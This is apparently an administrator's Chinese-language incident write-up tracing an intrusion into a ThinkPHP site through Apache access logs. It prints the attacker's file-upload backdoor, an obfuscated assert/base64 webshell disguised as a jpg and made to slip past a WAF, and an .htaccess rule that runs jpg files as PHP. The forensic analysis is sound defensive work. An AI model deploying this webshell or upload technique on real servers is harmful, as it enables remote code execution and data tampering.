环境:wamp 套件. 2003系统 安装安全狗套件。
程序:thinkphp 自定义开发程序...外买的。
业务员反应后台有人乱删除数据,怀疑让入侵。
随即登上服务器查看日志...
通过查看日志:锁定可疑IP:45.127.97.180 香港...
45.127.97.180 - - [16/Mar/2016:08:49:29 +0800] "GET /Public/uploadify.php HTTP/1.1" 200 969 //查看服务器是否存在uploadify.php
45.127.97.180 - - [16/Mar/2016:08:49:43 +0800] "GET /Public/ HTTP/1.1" 403 209
45.127.97.180 - - [16/Mar/2016:08:49:47 +0800] "GET /Public/file.php HTTP/1.1" 404 1118
45.127.97.180 - - [16/Mar/2016:08:50:20 +0800] "POST /Public/uploadify.php HTTP/1.1" 200 -
45.127.97.180 - - [16/Mar/2016:08:50:29 +0800] "POST /Public/uploadify.php HTTP/1.1" 200 -
45.127.97.180 - - [16/Mar/2016:08:50:38 +0800] "GET /Public/lib.jpg HTTP/1.1" 200 1599
uploadify.php //后门上传文件
$file=$_FILES['Filedata'];
$path = isset($_REQUEST['path'])&&!empty($_REQUEST['path'])?daddslashes($_REQUEST['path']):'';
if(!$file['tmp_name']||!$file['name']||!$file['size']){
return false;
}
$path=!empty($path)&&'/'!=substr($path,-1,1)?$path.'/':$path;
$save_name=addslashes($file['name']);
if(!move_uploaded_file($file['tmp_name'],$path.$save_name)){
WriteErrMsg('文件上传过程中发生错误,请重新上传');
}
上传lib.jpg 文件
复制代码
if(isset($_REQUEST['newuserid'])){
$i[0] = 'asse'.'rt';
$array[] = $i;
$key=str_replace("yBZ","",$_POST['ad']);
$i[1]=base64_decode($key);
$array[0][0]($i[1]);
}
复制代码
思考jpg文件如何能够执行,httpd.conf .htaccess配置文件
存在htaccess 因为存在任意文件上传,过狗的一句话很有可能爆路径,上传.htacccess支持jpg 将于php程序运行。
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>